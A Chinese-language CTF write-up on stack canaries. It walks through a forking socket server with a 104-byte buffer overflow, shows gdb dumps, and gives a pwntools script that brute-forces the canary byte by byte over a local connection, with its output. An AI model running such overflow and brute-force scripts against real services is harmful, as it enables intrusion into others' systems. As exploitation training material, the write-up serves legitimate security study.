

1. 知识摘要

stack canaries用来保护栈溢出。其位置在返回地址之前。

32位

cannray (4字节)
ebp
return_address

64位

cannray (8字节)
ebp
return_address

```
RSI: 0x8000000000000006
RDI: 0x3
RBP: 0x7fffffffddcf0 --> 0x7fffffffdd10 --> 0x400f50 (push r15)
RSP: 0x7fffffffddc70 ("////////")
RIP: 0x400bf1 (mov rax,QWORD PTR fs:0x28)
R8 : 0x7fffffffddc50 --> 0x0
R9 : 0x0
R10: 0x543
R11: 0x202
R12: 0x400a80 (xor ebp,ebp)
R13: 0x7fffffffdddf0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x400be9: push rbp
0x400bea: mov rbp, rsp
0x400bed: add rsp, 0xfffffffffffffff80
=> 0x400bf1: mov rax, QWORD PTR fs:0x28
0x400bfa: mov QWORD PTR [rbp-0x8], rax
0x400bfe: xor eax, eax
0x400c00: mov eax, DWORD PTR [rip+0x20151a] # 0x602120
0x400c06: mov esi, eax
[-----stack-----]
0000| 0x7fffffffddc70 ("////////")
0008| 0x7fffffffddc78 --> 0x7ffff7fdd000 --> 0x7ffff7a0d000 --> 0x3010102464c457f
0016| 0x7fffffffddc80 --> 0x7ffff7ffed60 ("/lib/x86_64-linux-gnu/libc.so.6")
0024| 0x7fffffffddc88 --> 0x7ffff7a0d000 --> 0x3010102464c457f
0032| 0x7fffffffddc90 --> 0x0
0040| 0x7fffffffddc98 --> 0x7ffff7dd1b20 --> 0x100000000
0048| 0x7fffffffddca0 --> 0x400
```

canary爆破

- 1. 对于canary来说，每次进程重启后canary都不同，但对于同一进程中的不同线程canary是相同的。比如fork出的线程，因为fork会直接拷贝父进程的内存。
- 2. 对于32位程序来说，canary是gs:0x14，64位的canary是fs:0x28。这个canary值来自于线程局部存储（thread local Storage, TLS）。
- 3. canary的最低位为0x00。主要是用于截断。假如栈上的字符串被泄露，则会把canary值也会泄露出来，但首位为0x00截断，则可以防止泄露。

4. 可以对canary逐字节爆破。因为只是去逐位去覆盖匹配canary。如果正确则不会有信息出现，如果错误则会崩溃报错。

题目描述

```
gdb-peda$ checksec
CANARY      : ENABLED
FORTIFY     : disabled
NX          : ENABLED
PIE         : disabled
RELRO       : Partial
gdb-peda$
```

程序开启了canary.

```

7  v6 = __readfsqword(0x28u);
8  sub_400B76(a1, a2, a3);
9  puts("[+]start..");
10 addr.sa_family = 2;
11 *(_WORD *)addr.sa_data = htons(0x15B3u);
12 *(_DWORD *)&addr.sa_data[2] = htonl(0);
13 len = 16;
14 addr_len = 16;
15 v5 = 0;
16 puts("[+]socket..");
17 dword_602140 = socket(2, 1, 0);
18 if ( dword_602140 < 0 )
19 {
20     perror("socket");
21     return 0xFFFFFFFFFLL;
22 }
23 optval = 1;
24 setsockopt(dword_602140, 1, 2, &optval, 4u);
25 puts("[+]bind..");
26 if ( bind(dword_602140, &addr, len) < 0 )
27 {
28     perror("bind error");
29     return 0xFFFFFFFFFLL;
30 }
31 puts("[+]listen..");
32 if ( listen(dword_602140, 1024) < 0 )
33 {
34     perror("listen");
35 }
36
37 while ( 1 )
38 {
39     fd = accept(dword_602140, &stru_602130, &addr_len);
40     if ( fd == -1 )
41     {
42         perror("accept");
43         return 0xFFFFFFFFFLL;
44     }
45     send(fd, "Welcome!\n", 9uLL, 0);
46     v5 = fork();
47     if ( v5 == -1 )
48     {
49         perror("fork");
50         return 0xFFFFFFFFFLL;
51     }
52     if ( !v5 )
53         break;
54     close(fd);
55 }
56 signal(14, handler);
```

开启套接字监听

fork线程

```

57 alarm(3u);
58 if ( (unsigned int)sub_400BE9() )
59 {
60     if ( send(fd, "Message receive failed\n", 0x19uLL, 0) == -1 )
61         goto LABEL_14;
62 }
63 else if ( send(fd, "Message received!\n", 0x12uLL, 0) == -1 )
64 {
65 LABEL_14:
66     perror("send");
67     return 0xFFFFFFFFLL;

```

00000E20 main:55 (400E20)

查看while，跳出循环的依据是fork的返回值。fork的返回值有三种情况。

- 负值，出现错误。
- 0。 是在子进程中。
- 新创建的子进程的id。 在父进程中。

当返回值为0，即在子进程中跳出循环。查看sub_400bBE9函数。

```

1  int64 sub_400BE9()
2  {
3      int64 result; // rax
4      char s[104]; // [rsp+10h] [rbp-70h] BYREF
5      unsigned int64 v2; // [rsp+78h] [rbp-8h]
6
7      v2 = __readfsqword(0x28u);
8      printf("csfd = %d\n", (unsigned int)fd);
9      bzero(s, 0x64uLL);
10     if ( (unsigned int)recv(fd, s, 0x400uLL, 0) == -1 )
11     {
12         perror("recv");
13         result = 0xFFFFFFFFLL;
14     }
15     else
16     {
17         printf("Message come: %s", s);
18         fflush(stdout);
19         result = 0LL;
20     }
21     return result;
22 }

```

明显的栈溢出

```

RAX: 0xef9a78f89f29ab00 ← canary值
RBX: 0x0
RCX: 0x7fffffff7ad9287 (<alarm+7>: cmp rax,0xffffffffffffffff001)
RDX: 0x0
RSI: 0x8000000000000006
RDI: 0x3
RBP: 0x7fffffffddcf0 --> 0x7fffffffdd10 --> 0x400f50 (push r15)
RSP: 0x7fffffffddc70 (////////)
RIP: 0x400bfa (mov QWORD PTR [rbp-0x8],rax) ← 缓冲区大小
R8 : 0x7fffffffddc50 --> 0x0
R9 : 0x0
R10: 0x543
R11: 0x202
R12: 0x400a80 (xor ebp,ebp)
R13: 0x7fffffffdddf0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x400bea: mov rbp,rsp
0x400bed: add rsp,0xffffffffffffff80
0x400bf1: mov rax,QWORD PTR fs:0x28
=> 0x400bfa: mov QWORD PTR [rbp-0x8],rax ← canary紧邻缓冲
0x400bfe: xor eax,eax
0x400c00: mov eax,DWORD PTR [rip+0x20151a] # 0x602120
0x400c06: mov esi,eax
0x400c08: mov edi,0x400fec
[-----stack-----]
0000| 0x7fffffffddc70 (////////)
0008| 0x7fffffffddc78 --> 0x7ffff7fdd000 --> 0x7ffff7a0d000 --> 0x3010102464c457f
0016| 0x7fffffffddc80 --> 0x7ffff7ffed60 ("/lib/x86_64-linux-gnu/libc.so.6")
0024| 0x7fffffffddc88 --> 0x7ffff7a0d000 --> 0x3010102464c457f
0032| 0x7fffffffddc90 --> 0x0
0040| 0x7fffffffddc98 --> 0x7ffff7dd1b20 --> 0x100000000
0048| 0x7fffffffddca0 --> 0x400
0056| 0x7fffffffddca8 --> 0xa ('\n')
[-----]
Legend: code, data, rodata, value
0x000000000000400bfa in ?? ()
gdb-peda$ x $rax
0xef9a78f89f29ab00: Cannot access memory at address 0xef9a78f89f29ab00
gdb-peda$

```

所以可以尝试去爆破canary值，因为目前所在的是子进程，子进程崩溃是不会影响到主进程的。

```

from pwn import *
import time
time = 8
canary = '\x00'
print(len(canary))
result = []
while len(canary) < 8:
    for i in range(256):
        io = remote('127.0.0.1', 5555)
        io.recv()

        payload = 'a'*104+canary+chr(i)
        print(payload)
        io.send(payload)
        try:
            io.recv()
            canary += chr(i)
            print(canary, i)
            result.append(i)
            break
        except:
            continue
        finally:
            io.close()
print(result)
print("canary is", canary)

```

```
[*] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\xa6!0,0<0
\x00\xa6!0,0<0 242
[*] Closed connection to 127.0.0.1 port 5555
[230, 166, 211, 44, 245, 60, 242]
canary is \x00\xa6!0,0<0
zzw@ubuntu:~/Desktop/pwn/messenger$ 62;c62;c62;c62;c
```